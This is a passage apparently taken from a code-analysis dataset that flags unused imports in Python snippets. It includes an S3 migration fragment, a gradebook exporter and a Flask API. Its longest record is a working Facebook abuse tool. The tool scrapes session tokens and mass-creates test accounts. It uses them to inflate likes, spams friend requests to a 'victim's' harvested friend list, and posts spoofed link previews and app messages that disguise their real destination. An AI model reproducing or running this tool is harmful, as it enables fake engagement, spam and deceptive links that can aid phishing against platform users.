'ERROR: %s - %s no S3 key' % (r.id, r.s3_key)\n continue\n\n if not r.filename:\n continue\n\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # else:\n # mime = 'application/octet-stream'\n\n if s3_key.content_disposition != 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8')):\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # metadata = {\n # 'Content-Type': mime,\n # 'Content-Disposition': 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8'))\n # }\n # else:\n # metadata = {\n # 'Content-Type': 'application/octet-stream'\n # }\n\n # new_key = s3_key.copy(\n # dst_bucket = s3_key.bucket.name,\n # dst_key = s3_key.name,\n # metadata = metadata,\n # encrypt_key = True\n # )\n\n print 'ERROR: %s - %s - %s - %s' % (r.id, r.s3_key, r.filename, s3_key.content_disposition)\n continue\n\n\n # if r.md5:\n # if r.md5 != s3_key.etag[1:][:-1]:\n # print 'ERROR: %s - %s - %s' % (r.id, r.md5, s3_key.etag[1:-1])\n\n # if r.filesize != s3_key.size:\n # print 'ERROR: %s - %s - %s' % (r.id, r.filesize, s3_key.size)\n\n\n # if r.new_key:\n # print 'ERROR: %s - %s new_key' % (r.id, r.s3_key)\n # continue\n\n # old_file = os.path.join('/', 'entu', 'oldfiles', r.md5[0], r.md5)\n # if not os.path.exists(old_file):\n\n # s3_key = s3_bucket.get_key(self.db_name + '/' + r.md5[0] + '/' + r.md5)\n # if s3_key:\n\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # metadata = {\n # 'Content-Type': mime,\n # 'Content-Disposition': 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8'))\n # }\n\n # else:\n # metadata = {\n # 'Content-Type': 'application/octet-stream'\n # }\n\n # new_key = s3_key.copy(\n # dst_bucket = 'entu-files',\n # dst_key = r.new_key,\n # metadata = metadata,\n # encrypt_key = True\n # )\n # new_key.set_acl('private')\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy3\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # print 'ERROR: %s - %s S3 file found' % (r.id, r.s3_key)\n # continue\n\n # s3_file = Key(s3_bucket)\n # s3_file.key = r.new_key\n # if r.filename:\n # mimetypes.init()\n # s3_file.content_type = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # s3_file.set_metadata('Content-Disposition', 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8')))\n # else:\n # s3_file.content_type = 'application/octet-stream'\n # s3_file.set_contents_from_filename(old_file, encrypt_key=True)\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy3\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # new_dir = os.path.join('/', 'entu', 'oldfiles', r.md5[0])\n # new_file = os.path.join(new_dir, r.md5)\n\n # if not os.path.exists(new_dir):\n # os.makedirs(new_dir)\n # os.rename(old_file, new_file)\n\n # print 'ERROR: %s - %s - %s' % (r.id, old_file, r.new_key)\n\n\n # old_file = os.path.join('/', 'entu', 'files', self.db_name, r.md5[0], r.md5)\n # if os.path.exists(os.path.join('/', 'entu', 'files', self.db_name, r.md5[0], r.md5)):\n # print 'ERROR: %s - %s file not in S3' % (r.id, r.s3_key)\n\n # if not r.new_key:\n # print 'ERROR: %s - %s new key not set' % (r.id, r.old_key)\n # continue\n\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # metadata = {\n # 'Content-Type': mime,\n # 'Content-Disposition': 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8'))\n # }\n # else:\n # metadata = {\n # 'Content-Type': 'application/octet-stream'\n # }\n\n # new_key = s3_key.copy(\n # dst_bucket = s3_key.bucket.name,\n # dst_key = r.new_key,\n # metadata = metadata,\n # encrypt_key = True\n # )\n # new_key.set_acl('private')\n\n # if not new_key:\n # print 'ERROR: %s - %s copy failed' % (r.id, r.s3_key)\n # continue\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy2\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # s3_key2 = s3_bucket.get_key(r.new_key)\n # if not s3_key2:\n # print 'ERROR: %s - %s new S3 file not found' % (r.id, r.s3_key)\n # continue\n\n # s3_key.delete()\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # if not self.db.get('SELECT id FROM file WHERE md5 = %s AND s3_key IS NULL LIMIT 1;', r.md5):\n # old_file = os.path.join('/', 'entu', 'files', self.db_name, r.md5[0], r.md5)\n # new_dir = os.path.join('/', 'entu', 'oldfiles', r.md5[0])\n # new_file = os.path.join(new_dir, r.md5)\n # if os.path.exists(old_file):\n # if not os.path.exists(new_dir):\n # os.makedirs(new_dir)\n # os.rename(old_file, new_file)\n # else:\n # print 'ERROR: %s - %s file not found' % (r.id, r.old_key)\n\n # s3_key.delete()\n\n # if args.verbose > 3: print '%s -> %s -> %s' % (r.id, r.old_key, new_key.key)", "metadata": "root.S3files.files", "header": "['class', 'S3files', '(', ')', ':', '___EOS___']", "index": 122 } ]

[ { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 }, { "span": "import time", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 11 }, { "span": "import mimetypes", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 16 }, { "span": "from pymongo import MongoClient, ASCENDING, DESCENDING", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 54 }, { "span": "from boto.s3.key import Key", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 27 } ]

[]

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[ { "content": "import shutil\nimport subprocess\nimport os\nimport datetime\nimport os.path\nfrom bson import ObjectId\n\nfrom galah.db.models import Assignment, Class, CSV, Submission, TestResult, User\n\ntry:\n from collections import OrderedDict\nexcept ImportError:\n from ordereddict import OrderedDict\n\n# Set up configuration and logging\nfrom galah.base.config import load_config\nconfig = load_config(\"sisyphus\")\n\nimport logging\nlogger = logging.getLogger(\"galah.sisyphus.create_gradebook_csv\")\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def _create_gradebook_csv(csv_id, requester, class_id, fill=0):\n csv_id = ObjectId(csv_id)\n\n csv_file = temp_directory = \"\"\n\n # Find any expired archives and remove them\n deleted_files = []\n for i in CSV.objects(expires__lt = datetime.datetime.today()):\n deleted_files.append(i.file_location)\n\n if i.file_location:\n try:\n os.remove(i.file_location)\n except OSError as e:\n logger.warning(\n \"Could not remove expired csv file at %s: %s.\",\n i.file_location, str(e)\n )\n\n i.delete()\n\n if deleted_files:\n logger.info(\"Deleted csv files %s.\", str(deleted_files))\n\n # This is the CSV object that will be added to the database\n new_csv = CSV(\n id = csv_id,\n requester = requester\n )\n\n temp_directory = csv_file = None\n try:\n # Create the actual csv file.\n csv_file = open(os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id)), \"w\")\n\n the_class = Class.objects.get(id = ObjectId(class_id))\n\n # Grab all assignments in this class\n assns = list(\n Assignment.objects(for_class = the_class.id)\n )\n\n print >> csv_file, \"%s,%s\" % \\\n (\"Username\", \",\".join('\"{0}\"'.format(i.name) for i in assns))\n\n # Grab all student users for this class.\n users = list(\n User.objects(\n account_type = \"student\",\n classes = the_class.id\n )\n )\n\n assn_ids = [i.id for i in assns]\n for user in users:\n # Query for user's most recent submissions in the known assignments\n query = {\n \"assignment__in\": assn_ids,\n \"most_recent\": True,\n \"user\": user.id\n }\n\n submissions = list(Submission.objects(**query))\n\n # Initialize each assignment score to empty at first.\n assn_to_score = OrderedDict((i, str(fill)) for i in assn_ids)\n\n # Go through submissions, associating scores with assignment\n for sub in submissions:\n if sub.test_results:\n test_result = TestResult.objects.get(id = sub.test_results)\n if test_result.score is not None:\n assn_to_score[sub.assignment] = str(test_result.score)\n\n # Write gradebook results to csv file.\n print >> csv_file, \"%s,%s\" % \\\n (user.email, \",\".join(assn_to_score.values()))\n\n csv_file.close()\n\n new_csv.file_location = os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id))\n\n new_csv.expires = \\\n datetime.datetime.today() + config[\"TEACHER_CSV_LIFETIME\"]\n\n new_csv.save(force_insert = True)\n except Exception as e:\n new_csv.file_location = None\n os.remove(os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id)))\n\n new_csv.error_string = str(e)\n new_csv.save(force_insert = True)\n\n raise", "metadata": "root._create_gradebook_csv", "header": "['module', '___EOS___']", "index": 21 } ]

[ { "span": "import shutil", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 13 }, { "span": "import subprocess", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 17 } ]

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[ { "content": "from flask import request, session\nfrom flask import Blueprint\n\nimport api\nimport json\nimport mimetypes\nimport os.path\nimport api.auth\n\nimport api.cache\n\nimport api.stats\n\nimport asyncio\nimport threading\n\nfrom api.annotations import *\nfrom api.common import flat_multi\nfrom api.exceptions import *\n\nblueprint = Blueprint(\"group_api\", __name__)\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@blueprint.route(\"/list\", methods=[\"GET\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef get_group_list_hook():\n\treturn { \"success\": 1, \"data\": api.group.get_groups() }", "metadata": "root.get_group_list_hook", "header": "['module', '___EOS___']", "index": 22 }, { "content": "@blueprint.route(\"/create\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef create_group_hook():\n\tgid = api.group.create_group_request(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Successfully created class! Reloading...\" }", "metadata": "root.create_group_hook", "header": "['module', '___EOS___']", "index": 29 }, { "content": "@blueprint.route(\"/delete\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef delete_group_hook():\n\tapi.group.delete_group_request(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Group was deleted. Reloading...\" }", "metadata": "root.delete_group_hook", "header": "['module', '___EOS___']", "index": 37 }, { "content": "@blueprint.route(\"/add_team\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef add_team_group_hook():\n\tapi.group.add_member(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Successfully added team! Reloading...\" }", "metadata": "root.add_team_group_hook", "header": "['module', '___EOS___']", "index": 45 }, { "content": "@blueprint.route(\"/remove_team\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef remove_team_group_hook():\n\tapi.group.remove_member(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Successfully removed team! Reloading...\" }", "metadata": "root.remove_team_group_hook", "header": "['module', '___EOS___']", "index": 53 } ]

[ { "span": "from flask import request, session", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 34 }, { "span": "import json", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 11 }, { "span": "import mimetypes", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 16 }, { "span": "import os.path", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 14 }, { "span": "import asyncio", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 14 }, { "span": "import threading", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 16 }, { "span": "from api.common import flat_multi", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 33 } ]

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[ { "content": "def set_dtsg():\n n = 0\n flag = False\n try:\n response = br.open('https://www.facebook.com/')\n ''' Old dtsg set module.. \n for form in br.forms():\n for control in form.controls: \n if control.name == 'fb_dtsg':\n flag = True\n break\n n += 1\n if flag: break\n br.select_form(nr=n-1) '''\n \n if globalLogging:\n logs(response.read())\n\n \n \n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in the dtsg set module')\n print '\\rTrying to set dtsg \\r'\n \n return workarounddtsg()", "metadata": "root.set_dtsg", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def workarounddtsg():\n try:\n response = br.open('https://www.facebook.com/')\n parse = response.read()\n match = re.search(\"\\\"fb_dtsg\\\"\", parse)\n matchBis = re.search(\"value=\\\"\",parse[match.end():])\n matchBisBis = re.search(\"\\\"\",parse[match.end()+matchBis.end():])\n fb_dtsg = parse[match.end()+matchBis.end():match.end()+matchBis.end()+matchBisBis.start()]\n return fb_dtsg\n except:\n print 'error'\n return 0", "metadata": "root.workarounddtsg", "header": "['module', '___EOS___']", "index": 129 }, { "content": "def createUser(number):\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n c_user = getC_user()\n \n arguments = {\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '798aD5z5zufEa0',\n '__req' : '4',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '16581655751108754574',\n }\n \n datos = urlencode(arguments)\n \n userRaw = []\n \n percentage = 0.0\n print 'Creating Test Users .. '\n for i in range(int(number)):\n try:\n response = br.open('https://www.facebook.com/ajax/whitehat/create_test_user.php',datos)\n userRaw.append(str(response.read()))\n \n percentage = (i * 100.0) / int(number)\n flush()\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n sleep(60)\n except mechanize.HTTPError as e:\n logs(str(e.code) + ' on iteration ' + str(i))\n print str(e.code) + ' on iteration %d'%i\n except mechanize.URLError as e:\n logs(str(e.reason.args) + ' on iteration ' + str(i))\n print str(e.reason.args) + ' on iteration %d'%i \n except signalCaught as e:\n raise signalCaught(str(e.args[0])+' handling from createUser.. ')\n except:\n logs('Error in create module on iteration ' + str(i))\n print '\\r \\r',\n print '\\rError in create module on iteration %d\\r' %i,\n \n \n fullFlag = MyParser.parseData(userRaw)\n \n return fullFlag", "metadata": "root.createUser", "header": "['module', '___EOS___']", "index": 150 }, { "content": "def deleteUser(appId):\n ''' Selects the fb_dtsg form ''' \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n '__user' : str(getC_user()),\n '__a' : '1',\n '__dyn' : '7w86i3S2e4oK4pomXWo5O12wYw',\n '__req' : '4',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581718683108776783808786',\n '__rev' : '1409158'\n }\n testUserID = database.getUsers()\n for n in len(testUserID[0]):\n arguments['test_user_ids['+str(n)+']'] = str(testUserID[0][n]) \n \n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/async/test-users/delete/?app_id='+appId,datos)\n \n if globalLogging:\n logs(response.read())\n\n except:\n logs('Error deleting users')\n print 'Error deleting users \\n'", "metadata": "root.deleteUser", "header": "['module', '___EOS___']", "index": 264 }, { "content": "def sendRequest(userID,c_user):\n \n ''' Selects the fb_dtsg form ''' \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n 'to_friend' : userID,\n 'action' : 'add_friend',\n 'how_found' : 'profile_button',\n 'ref_param' : 'none',\n 'link_data[gt][profile_owner]' : userID,\n 'link_data[gt][ref]' : 'timeline:timeline',\n 'outgoing_id' : '',\n 'logging_location' : '',\n 'no_flyout_on_click' : 'true',\n 'ego_log_data' : '',\n 'http_referer' : '',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8aD5z5zu',\n '__req' : 'n',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '1658165688376111103320'\n }\n \n\n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n print 'Friend Request sent from %s to %s! \\n' %(c_user,userID)\n except:\n logs('Error sending request ')\n print 'Error sending request \\n'", "metadata": "root.sendRequest", "header": "['module', '___EOS___']", "index": 329 }, { "content": "def sendRequestToList(victim):\n \n root = 'dumps'\n directory = victim\n friends = []\n frieds_send = []\n count = 0\n number = raw_input('Insert the amount of requests to send: ')\n \n try:\n try:\n persons = open( os.path.join(root,directory,victim+\".txt\"),\"rb\" )\n except:\n logs('Friend file not found')\n print 'Friend file not found'\n return\n try:\n persons_send = open( os.path.join(root,directory,victim+\"_friend_send.txt\"),\"rb\")\n while True:\n linea = persons_send.readline()\n if not linea:\n break\n frieds_send.append(linea.strip(\"\\n\\r\"))\n persons_send.close()\n persons_send = open(os.path.join(root,directory,victim+\"_friend_send.txt\"),\"ab\")\n except:\n persons_send = open(os.path.join(root,directory,victim+\"_friend_send.txt\"),\"wb\")\n while True:\n linea = persons.readline()\n if not linea:\n break\n friends.append(linea.strip(\"\\n\\r\"))\n \n i = 0.0\n percentage = 0.0\n \n print 'Sending friend requests'\n \n \n for userID in friends: \n if userID not in frieds_send:\n #Escape condition\n if count > int(number):\n persons_send.close()\n return\n \n count += 1\n ''' Selects the fb_dtsg form ''' \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n c_user = getC_user()\n \n arguments = {\n 'to_friend' : userID,\n 'action' : 'add_friend',\n 'how_found' : 'profile_button',\n 'ref_param' : 'none',\n 'link_data[gt][profile_owner]' : userID,\n 'link_data[gt][ref]' : 'timeline:timeline',\n 'outgoing_id' : '',\n 'logging_location' : '',\n 'no_flyout_on_click' : 'true',\n 'ego_log_data' : '',\n 'http_referer' : '',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8aD5z5zu',\n '__req' : 'n',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '265817211599516953787450107',\n }\n \n \n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)\n \n #percentage\n percentage = (i * 100.0) / len(friends)\n i+=1\n flush()\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n \n if globalLogging:\n logs(response.read())\n \n print 'Friend Request sent from %s to %s! \\n' %(c_user,userID)\n persons_send.write(userID+'\\n')\n except:\n logs('Error sending request ')\n print 'Error sending request \\n'\n except signalCaught as e:\n message = '%s catch from send request module' %e.args[0]\n logs(str(message))\n print '%s \\n' %message\n persons_send.close()\n raw_input('Press enter to continue')\n return", "metadata": "root.sendRequestToList", "header": "['module', '___EOS___']", "index": 368 }, { "content": "def loadPersistentCookie():\n global cookieArray\n try:\n f = open(\"cookiesObject\",\"r\")\n cookieArray = pickle.load(f)\n i = 0\n ''' Se limpian las cookies que no sirven - se filtra el id para cambiar su estado a logged = 0 '''\n for cookie in cookieArray:\n cj._cookies = cookie\n for element in cj:\n if (element.name == 'checkpoint'):\n strip = str(element.value).strip(\"%7B%22u%22%3A\")\n removeId = strip.split(\"%2C%22t%22%3A\")[0]\n database.setLoggedOut(removeId)\n del cookieArray[i]\n i+=1\n except:\n return", "metadata": "root.loadPersistentCookie", "header": "['module', '___EOS___']", "index": 518 }, { "content": "def like(postId, quantity):\n \n signal.signal(signal.SIGINT, signal_handler)\n try:\n email,password = setMail()\n if (login(email,password,'real') is not -1):\n \n #Cookie of the real account\n masterCookie = cj._cookies\n times = int(quantity) / 10\n \n for i in range(times):\n cj._cookies = masterCookie\n #Check if users already exists\n if ( createUser(10) == -1 ):\n #Delete existing users and re-execute the create module\n deleteUser()\n deleteAccounts()\n createUser(10)\n \n massLogin()\n #Percentage container\n percentage = 0.0\n j = 0.0\n total = len(cookieArray) * len(postId)\n #flush\n print '\\r \\r',\n \n for i in range(len(cookieArray)):\n for post in range(len(postId)):\n cj._cookies = cookieArray[i]\n c_user = getC_user()\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n 'like_action' : 'true',\n 'ft_ent_identifier' : str(postId[post]),\n 'source' : '0',\n 'client_id' : str(c_user)+'%3A4047576437',\n 'rootid' : 'u_0_2o',\n 'giftoccasion' : '',\n 'ft[tn]' : '%3E%3D',\n 'ft[type]' : '20',\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8ahyj35ym3KiA',\n '__req' : 'c',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '165816595797611370260',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n percentage = (j * 100.0)/total\n flush()\n print '\\r[%.2f%%] of likes completed\\r' %(percentage), \n j+=1\n \n except mechanize.HTTPError as e:\n print e.code\n \n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Unknown error' \n \n cj._cookies = masterCookie\n deleteUser()\n deleteAccounts()\n \n raw_input('Finished like() module, press enter to continue')\n except signalCaught as e:\n deleteUser()\n message = '%s catch from create module' %e.args[0]\n logs(str(message))\n print '%s \\n' %message\n raw_input('Press enter to continue')\n return", "metadata": "root.like", "header": "['module', '___EOS___']", "index": 543 }, { "content": "def appMessageSpoof(appId,link,picture,title,domain,description,comment):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'preview' : '0',\n '_path' : 'feed',\n 'app_id' : int(appId),\n 'redirect_uri' : 'https://facebook.com/',\n 'display' : 'page',\n 'link' : str(link),\n 'picture' : str(picture),\n 'name' : str(title),\n 'caption' : str(domain),\n 'description' : str(description),\n 'from_post' : '1',\n 'feedform_user_message' : str(comment),\n 'publish' : 'Share',\n 'audience[0][value]' : '80',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/v2.0/dialog/feed',datos)\n \n if globalLogging:\n logs(response.read())\n \n except:\n logs('Error en el modulo de appMessageSpoof()')\n print 'Error en el modulo de appMessageSpoof()\\n'", "metadata": "root.appMessageSpoof", "header": "['module', '___EOS___']", "index": 630 }, { "content": "def linkPreviewYoutube(link,videoLink,title,summary,comment,videoID, privacy):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'composer_session_id' : '38c20e73-acfc-411a-8313-47c095b01e42',\n 'xhpc_context' : 'profile',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '1',\n 'xhpc_composerid' : 'u_0_29',\n 'xhpc_targetid' : str(c_user),\n 'clp' : '{ cl_impid : 65ac6257 , clearcounter :0, elementid : u_0_2n , version : x , parent_fbid :'+str(c_user)+'}',\n 'xhpc_message_text' : str(comment),\n 'xhpc_message' : str(comment),\n 'aktion' : 'post',\n 'app_id' : '2309869772',\n 'attachment[params][urlInfo][canonical]' : str(videoLink),\n 'attachment[params][urlInfo][final]' : str(videoLink),\n 'attachment[params][urlInfo][user]' : str(link),\n 'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',\n 'attachment[params][title]' : str(title),\n 'attachment[params][summary]' : str(summary),\n 'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',\n 'attachment[params][medium]' : '103',\n 'attachment[params][url]' : str(videoLink),\n 'attachment[params][video][0][type]' : 'application/x-shockwave-flash',\n 'attachment[params][video][0][src]' : 'http://www.youtube.com/v/FxyecjOQXnI?autohide=1&version=3&autoplay=1',\n 'attachment[params][video][0][width]' : '1280',\n 'attachment[params][video][0][height]' : '720',\n 'attachment[params][video][0][safe]' : '1',\n 'attachment[type]' : '100',\n 'link_metrics[source]' : 'ShareStageExternal',\n 'link_metrics[domain]' : 'www.youtube.com',\n 'link_metrics[base_domain]' : 'youtube.com',\n 'link_metrics[title_len]' : '92',\n 'link_metrics[summary_len]' : '160',\n 'link_metrics[min_dimensions][0]' : '70',\n 'link_metrics[min_dimensions][1]' : '70',\n 'link_metrics[images_with_dimensions]' : '1',\n 'link_metrics[images_pending]' : '0',\n 'link_metrics[images_fetched]' : '0',\n 'link_metrics[image_dimensions][0]' : '1280',\n 'link_metrics[image_dimensions][1]' : '720',\n 'link_metrics[images_selected]' : '1',\n 'link_metrics[images_considered]' : '1',\n 'link_metrics[images_cap]' : '10',\n 'link_metrics[images_type]' : 'images_array',\n 'composer_metrics[best_image_w]' : '398',\n 'composer_metrics[best_image_h]' : '208',\n 'composer_metrics[image_selected]' : '0',\n 'composer_metrics[images_provided]' : '1',\n 'composer_metrics[images_loaded]' : '1',\n 'composer_metrics[images_shown]' : '1',\n 'composer_metrics[load_duration]' : '1058',\n 'composer_metrics[timed_out]' : '0',\n 'composer_metrics[sort_order]' : '',\n 'composer_metrics[selector_type]' : 'UIThumbPager_6',\n 'backdated_date[year]' : '',\n 'backdated_date[month]' : '',\n 'backdated_date[day]' : '',\n 'backdated_date[hour]' : '',\n 'backdated_date[minute]' : '',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1394761251',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][value]' : privacy,\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',\n '__req' : 'm',\n 'ttstamp' : '26581658074898653',\n '__rev' : '1161243',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n \n except mechanize.URLError as e:\n print e.reason.args \n except:\n logs('Error en el modulo de linkPreviewYoutube()')\n print 'Error en el modulo de linkPreviewYoutube()\\n'", "metadata": "root.linkPreviewYoutube", "header": "['module', '___EOS___']", "index": 667 }, { "content": "def linkPreview(link,realLink,title,summary,comment,image,privacy):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'composer_session_id' : '787d2fec-b5c1-41fe-bbda-3450a03240c6',\n 'fb_dtsg' : fb_dtsg,\n 'xhpc_context' : 'profile',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '1',\n 'xhpc_composerid' : 'u_0_29',\n 'xhpc_targetid' : str(c_user),\n 'clp' : '{\"cl_impid\":\"27c5e963\",\"clearcounter\":0,\"elementid\":\"u_0_2n\",\"version\":\"x\",\"parent_fbid\":'+str(c_user)+'}',\n 'xhpc_message_text' : str(comment),\n 'xhpc_message' : str(comment),\n 'aktion' : 'post',\n 'app_id' : '2309869772',\n 'attachment[params][urlInfo][canonical]' : str(realLink),\n 'attachment[params][urlInfo][final]' : str(realLink),\n 'attachment[params][urlInfo][user]' : str(link),\n 'attachment[params][favicon]' : str(realLink)+'/images/favicon.ico',\n 'attachment[params][title]' : str(title),\n 'attachment[params][summary]' : str(summary),\n 'attachment[params][images][0]' : str(image),\n 'attachment[params][medium]' : '106',\n 'attachment[params][url]' : str(realLink),\n 'attachment[type]' : '100',\n 'link_metrics[source]' : 'ShareStageExternal',\n 'link_metrics[domain]' : str(realLink),\n 'link_metrics[base_domain]' : str(realLink),\n 'link_metrics[title_len]' : '38',\n 'link_metrics[summary_len]' : '38',\n 'link_metrics[min_dimensions][0]' : '70',\n 'link_metrics[min_dimensions][1]' : '70',\n 'link_metrics[images_with_dimensions]' : '3',\n 'link_metrics[images_pending]' : '0',\n 'link_metrics[images_fetched]' : '0',\n 'link_metrics[image_dimensions][0]' : '322',\n 'link_metrics[image_dimensions][1]' : '70',\n 'link_metrics[images_selected]' : '1',\n 'link_metrics[images_considered]' : '5',\n 'link_metrics[images_cap]' : '3',\n 'link_metrics[images_type]' : 'ranked',\n 'composer_metrics[best_image_w]' : '100',\n 'composer_metrics[best_image_h]' : '100',\n 'composer_metrics[image_selected]' : '0',\n 'composer_metrics[images_provided]' : '1',\n 'composer_metrics[images_loaded]' : '1',\n 'composer_metrics[images_shown]' : '1',\n 'composer_metrics[load_duration]' : '812',\n 'composer_metrics[timed_out]' : '0',\n 'composer_metrics[sort_order]' : '',\n 'composer_metrics[selector_type]' : 'UIThumbPager_6',\n 'backdated_date[year]' : '',\n 'backdated_date[month]' : '',\n 'backdated_date[day]' : '',\n 'backdated_date[hour]' : '',\n 'backdated_date[minute]' : '',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1394765332',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][value]' : privacy,\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : 